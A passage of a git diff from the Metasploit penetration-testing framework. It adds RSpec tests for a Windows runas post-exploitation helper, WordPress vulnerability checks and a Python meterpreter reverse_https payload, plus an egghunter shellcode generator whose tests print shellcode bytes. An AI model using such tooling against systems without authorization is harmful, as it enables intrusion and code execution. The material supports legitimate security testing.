expect(subject).to receive(:check_sqlcmd).and_return(false)
|
||||||
|
expect(subject).to receive(:check_osql).and_return(true)
|
||||||
|
subject.get_sql_client.should eq osql
|
||||||
|
subject.sql_client.should eq osql
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return 'sqlcmd' if sqlcmd is available" do
|
||||||
|
allow(subject).to receive(:check_osql).and_return(true)
|
||||||
|
expect(subject).to receive(:check_sqlcmd).and_return(true)
|
||||||
|
subject.get_sql_client.should eq sql_command
|
||||||
|
subject.sql_client.should eq sql_command
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,207 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core/post/windows/runas'
|
||||||
|
|
||||||
|
describe Msf::Post::Windows::Runas do
|
||||||
|
let(:process_info) do
|
||||||
|
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:phToken) do
|
||||||
|
"testPhToken"
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:advapi32) do
|
||||||
|
advapi32 = double('advapi32')
|
||||||
|
advapi32.stub(:CreateProcessWithLogonW).and_return({
|
||||||
|
'return' => true,
|
||||||
|
'lpProcessInformation' => process_info
|
||||||
|
})
|
||||||
|
advapi32.stub(:CreateProcessAsUserA).and_return ({
|
||||||
|
'return' => true,
|
||||||
|
'lpProcessInformation' => process_info
|
||||||
|
})
|
||||||
|
advapi32.stub(:LogonUserA).and_return ({
|
||||||
|
'return' => true,
|
||||||
|
'phToken' => phToken
|
||||||
|
})
|
||||||
|
advapi32
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:kernel32) do
|
||||||
|
double('kernel32', CloseHandle: nil)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:subject) do
|
||||||
|
mod = Module.new
|
||||||
|
mod.extend described_class
|
||||||
|
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
|
||||||
|
stubs.each { |meth| mod.stub(meth) }
|
||||||
|
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
|
||||||
|
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#create_process_with_logon" do
|
||||||
|
it "should return a process_info hash" do
|
||||||
|
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle)
|
||||||
|
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||||
|
pi.should be_kind_of(Hash)
|
||||||
|
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return a nil on failure" do
|
||||||
|
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle)
|
||||||
|
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||||
|
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#create_process_as_user" do
|
||||||
|
it "should return a process_info hash" do
|
||||||
|
expect(advapi32).to receive(:LogonUserA)
|
||||||
|
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||||
|
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||||
|
expect(kernel32).to receive(:CloseHandle).with(1)
|
||||||
|
expect(kernel32).to receive(:CloseHandle).with(2)
|
||||||
|
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||||
|
pi.should be_kind_of(Hash)
|
||||||
|
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return a nil on failure of create process" do
|
||||||
|
expect(advapi32).to receive(:LogonUserA)
|
||||||
|
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||||
|
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||||
|
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||||
|
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return a nil on failure of logon user" do
|
||||||
|
expect(advapi32).to receive(:LogonUserA)
|
||||||
|
expect(advapi32).not_to receive(:CreateProcessAsUserA)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||||
|
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||||
|
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||||
|
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#startup_info" do
|
||||||
|
it "should be 68 bytes" do
|
||||||
|
subject.startup_info.size.should eq(68)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||||
|
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
|
||||||
|
si[11].should eq(1)
|
||||||
|
si[12].should eq(0)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#parse_process_information" do
|
||||||
|
it "should return a hash when given valid data" do
|
||||||
|
pi = subject.parse_process_information(process_info)
|
||||||
|
pi.should be_kind_of(Hash)
|
||||||
|
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return an exception when given an empty string" do
|
||||||
|
expect { subject.parse_process_information("") }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return an exception when given an nil value" do
|
||||||
|
expect { subject.parse_process_information(nil) }.to raise_error
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#check_user_format" do
|
||||||
|
let(:upn_username) do
|
||||||
|
"bob@flob.com"
|
||||||
|
end
|
||||||
|
let(:domain_username) do
|
||||||
|
"flob\\bob"
|
||||||
|
end
|
||||||
|
let(:domain) do
|
||||||
|
"flob"
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return an exception when username is nil" do
|
||||||
|
expect { subject.check_user_format(nil, domain) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return an exception when UPN format and domain supplied" do
|
||||||
|
expect { subject.check_user_format(upn_username, domain) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when UPN format and domain is nil" do
|
||||||
|
subject.check_user_format(upn_username, nil).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when domain format and domain is nil" do
|
||||||
|
subject.check_user_format(domain_username, nil).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when domain format and domain supplied" do
|
||||||
|
subject.check_user_format(domain_username, domain).should be true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#check_command_length" do
|
||||||
|
let(:max_length) do
|
||||||
|
1024
|
||||||
|
end
|
||||||
|
let(:max_path) do
|
||||||
|
256
|
||||||
|
end
|
||||||
|
let(:large_command_module) do
|
||||||
|
("A" * max_path + 1) + " arg1 arg2"
|
||||||
|
end
|
||||||
|
let(:normal_command_module) do
|
||||||
|
("A" * max_path) + " arg1 arg2"
|
||||||
|
end
|
||||||
|
let(:large_command_line) do
|
||||||
|
"A" * max_length + 1
|
||||||
|
end
|
||||||
|
let(:normal_command_line) do
|
||||||
|
"A" * max_length
|
||||||
|
end
|
||||||
|
let(:application_name) do
|
||||||
|
"c:\\windows\\system32\\calc.exe"
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should raise an exception when max_length is nil" do
|
||||||
|
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should raise an exception when application_name and command_line are nil" do
|
||||||
|
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when application_name is set and command_line is nil" do
|
||||||
|
subject.check_command_length(application_name, nil, max_length).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when application_name is set and command_line is max_length" do
|
||||||
|
subject.check_command_length(application_name, normal_command_line, max_length).should be true
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should raise an exception when command_line is larger than max_length" do
|
||||||
|
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
|
||||||
|
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
|
||||||
|
subject.check_command_length(nil, normal_command_module, max_length).should be true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do
|
||||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'when all versions are vulnerable' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_body) { 'Stable tag: 1.0.0' }
|
||||||
|
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#check_theme_version_from_style' do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.code = wp_code
|
||||||
|
res.body = wp_body
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_body) { nil }
|
||||||
|
let(:wp_fixed_version) { nil }
|
||||||
|
|
||||||
|
context 'when no style is found' do
|
||||||
|
let(:wp_code) { 404 }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when no version can be extracted from style' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_body) { 'invalid content' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when version from style has arbitrary leading whitespace' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_body) { 'Version: 1.0.0' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
let(:wp_body) { 'Version:1.0.0' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is vulnerable' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_body) { 'Version: 1.0.0' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is not vulnerable' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_body) { 'Version: 1.0.2' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is vulnerable (version range)' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.2' }
|
||||||
|
let(:wp_introd_version) { '1.0.0' }
|
||||||
|
let(:wp_body) { 'Version: 1.0.1' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is older (version range)' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_introd_version) { '1.0.0' }
|
||||||
|
let(:wp_body) { 'Version: 0.0.9' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is newer (version range)' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_introd_version) { '1.0.0' }
|
||||||
|
let(:wp_body) { 'Version: 1.0.2' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when installed version is newer (text in version number)' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.5.3' }
|
||||||
|
let(:wp_body) { 'Version: 2.0.0-beta1' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when all versions are vulnerable' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_body) { 'Version: 1.0.0' }
|
||||||
|
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||||
" -i,--info Change the info of a host",
|
" -i,--info Change the info of a host",
|
||||||
" -n,--name Change the name of a host",
|
" -n,--name Change the name of a host",
|
||||||
" -m,--comment Change the comment of a host",
|
" -m,--comment Change the comment of a host",
|
||||||
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
|
" -t,--tag Add or specify a tag to a range of hosts",
|
||||||
|
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do
|
||||||
reference_name: 'python/meterpreter/reverse_http'
|
reference_name: 'python/meterpreter/reverse_http'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'python/meterpreter/reverse_https' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'stagers/python/reverse_https',
|
||||||
|
'stages/python/meterpreter'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'python/meterpreter/reverse_https'
|
||||||
|
end
|
||||||
|
|
||||||
context 'python/meterpreter/reverse_tcp' do
|
context 'python/meterpreter/reverse_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
|
@ -0,0 +1,103 @@
|
||||||
|
load Metasploit::Framework.root.join('tools/egghunter.rb').to_path
|
||||||
|
|
||||||
|
require 'stringio'
|
||||||
|
|
||||||
|
describe Egghunter do
|
||||||
|
|
||||||
|
describe Egghunter::Driver do
|
||||||
|
|
||||||
|
subject do
|
||||||
|
Egghunter::Driver.new
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:egg) {
|
||||||
|
'W00T'
|
||||||
|
}
|
||||||
|
|
||||||
|
describe '#run' do
|
||||||
|
|
||||||
|
def get_stdout(&block)
|
||||||
|
out = $stdout
|
||||||
|
$stdout = fake = StringIO.new
|
||||||
|
begin
|
||||||
|
yield
|
||||||
|
ensure
|
||||||
|
$stdout = out
|
||||||
|
end
|
||||||
|
fake.string
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:default_opts) {
|
||||||
|
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
|
||||||
|
}
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when the platform is windows' do
|
||||||
|
let(:options) { default_opts }
|
||||||
|
|
||||||
|
it 'returns a windows egghunter' do
|
||||||
|
output = get_stdout { subject.run }
|
||||||
|
expect(output).to include("\\x66\\x81\\xca\\xff")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when the platform is linux' do
|
||||||
|
let(:options) do
|
||||||
|
{ :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' }
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns a linux egghunter' do
|
||||||
|
output = get_stdout { subject.run }
|
||||||
|
expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when the egg is WOOT' do
|
||||||
|
let(:options) { default_opts }
|
||||||
|
|
||||||
|
it 'includes W00T in the egghunter' do
|
||||||
|
output = get_stdout { subject.run }
|
||||||
|
expect(output).to include("\\x57\\x30\\x30\\x54")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe Egghunter::OptsConsole do
|
||||||
|
subject do
|
||||||
|
Egghunter::OptsConsole
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when no options are given' do
|
||||||
|
it 'raises OptionParser::MissingArgument' do
|
||||||
|
expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when no format is specified and --list-formats isn\'t used' do
|
||||||
|
it 'raises OptionParser::MissingArgument' do
|
||||||
|
args = '-e AAAA'.split
|
||||||
|
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when no egg is specified and --list-formats isn\'t used' do
|
||||||
|
it 'raises OptionParser::MissingArgument' do
|
||||||
|
args = '-f python'.split
|
||||||
|
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when :depsize is a string' do
|
||||||
|
it 'raises OptionParser::InvalidOption' do
|
||||||
|
args = '-e AAAA -f c --depsize STRING'.split
|
||||||
|
expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,33 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
toplevel = %x{git rev-parse --show-toplevel}.strip
|
||||||
|
infile = "#{toplevel}/.git/config"
|
||||||
|
outfile = infile
|
||||||
|
$stderr.puts "Rewriting #{infile}"
|
||||||
|
data = File.open(infile, 'rb') {|f| f.read f.stat.size}
|
||||||
|
newdata = ""
|
||||||
|
data.each_line do |line|
|
||||||
|
newdata << line
|
||||||
|
case line
|
||||||
|
when /^(\s*)fetch\s*=.*remotes\/([^\/]+)\//
|
||||||
|
ws = $1
|
||||||
|
remote = $2
|
||||||
|
pr_line = "fetch = +refs/pull/*/head:refs/remotes/#{remote}/pr/*"
|
||||||
|
next if line.strip == pr_line.strip
|
||||||
|
if data.include? pr_line
|
||||||
|
$stderr.puts "Skipping #{remote}, already present"
|
||||||
|
next
|
||||||
|
else
|
||||||
|
@new_pr_line ||= true
|
||||||
|
$stderr.puts "Adding pull request fetch for #{remote}"
|
||||||
|
newdata << "#{ws}#{pr_line}\n"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if @new_pr_line
|
||||||
|
File.open(outfile, 'wb') {|f| f.write newdata}
|
||||||
|
$stderr.puts "Wrote #{outfile}"
|
||||||
|
else
|
||||||
|
$stderr.puts "No changes to #{outfile}"
|
||||||
|
end
|
|
@ -0,0 +1,156 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
msfbase = __FILE__
|
||||||
|
while File.symlink?(msfbase)
|
||||||
|
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||||
|
end
|
||||||
|
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||||
|
require 'msfenv'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base'
|
||||||
|
require 'optparse'
|
||||||
|
|
||||||
|
module Egghunter
|
||||||
|
class OptsConsole
|
||||||
|
def self.parse(args)
|
||||||
|
options = {}
|
||||||
|
parser = OptionParser.new do |opt|
|
||||||
|
opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -f python -e W00T"
|
||||||
|
opt.separator ''
|
||||||
|
opt.separator 'Specific options:'
|
||||||
|
|
||||||
|
opt.on('-f', '--format <String>', "See --list-formats for a list of supported output formats") do |v|
|
||||||
|
options[:format] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-b', '--badchars <String>', "(Optional) Bad characters to avoid for the egg") do |v|
|
||||||
|
options[:badchars] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-e', '--egg <String>', "The egg (Please give 4 bytes)") do |v|
|
||||||
|
options[:eggtag] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-p', '--platform <String>', "(Optional) Platform") do |v|
|
||||||
|
options[:platform] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--startreg <String>', "(Optional) The starting register") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:startreg] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--forward', "(Optional) To search forward") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:searchforward] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--depreg <String>', "(Optional) The DEP register") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:depreg] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--depdest <String>', "(Optional) The DEP destination") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:depdest] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--depsize <Fixnum>', "(Optional) The DEP size") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:depsize] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--depmethod <String>', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v|
|
||||||
|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||||
|
options[:depmethod] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-a', '--arch <String>', "(Optional) Architecture") do |v|
|
||||||
|
# Although this is an option, this is currently useless because we don't have x64 egghunters
|
||||||
|
options[:arch] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--list-formats', "List all supported output formats") do
|
||||||
|
options[:list_formats] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-v', '--var-name <name>', String, '(Optional) Specify a custom variable name to use for certain output formats') do |v|
|
||||||
|
options[:var_name] = v
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on_tail('-h', '--help', 'Show this message') do
|
||||||
|
$stdout.puts opt
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
parser.parse!(args)
|
||||||
|
|
||||||
|
if options.empty?
|
||||||
|
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
|
||||||
|
elsif options[:format].blank? && !options[:list_formats]
|
||||||
|
raise OptionParser::MissingArgument, '-f is required'
|
||||||
|
elsif options[:eggtag].blank? && !options[:list_formats]
|
||||||
|
raise OptionParser::MissingArgument, '-e is required'
|
||||||
|
elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format])
|
||||||
|
raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format"
|
||||||
|
elsif options[:depsize] && options[:depsize] !~ /^\d+$/
|
||||||
|
raise OptionParser::InvalidOption, "--depsize must be a Fixnum"
|
||||||
|
end
|
||||||
|
|
||||||
|
options[:badchars] = '' unless options[:badchars]
|
||||||
|
options[:platform] = 'windows' unless options[:platform]
|
||||||
|
options[:arch] = ARCH_X86 unless options[:arch]
|
||||||
|
options[:var_name] = 'buf' unless options[:var_name]
|
||||||
|
|
||||||
|
options
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class Driver
|
||||||
|
def initialize
|
||||||
|
begin
|
||||||
|
@opts = OptsConsole.parse(ARGV)
|
||||||
|
rescue OptionParser::ParseError => e
|
||||||
|
$stderr.puts "[x] #{e.message}"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
# list_formats should check first
|
||||||
|
if @opts[:list_formats]
|
||||||
|
list_formats
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
egghunter = Rex::Exploitation::Egghunter.new(@opts[:platform], @opts[:arch])
|
||||||
|
raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts)
|
||||||
|
output_stream = $stdout
|
||||||
|
output_stream.binmode
|
||||||
|
output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name])
|
||||||
|
$stderr.puts
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def list_formats
|
||||||
|
$stderr.puts "[*] Supported output formats:"
|
||||||
|
$stderr.puts ::Msf::Simple::Buffer.transform_formats.join(", ")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
if __FILE__ == $PROGRAM_NAME
|
||||||
|
driver = Egghunter::Driver.new
|
||||||
|
begin
|
||||||
|
driver.run
|
||||||
|
rescue ::Exception => e
|
||||||
|
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
$stderr.puts "[x] #{e.class}: #{e.message}"
|
||||||
|
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue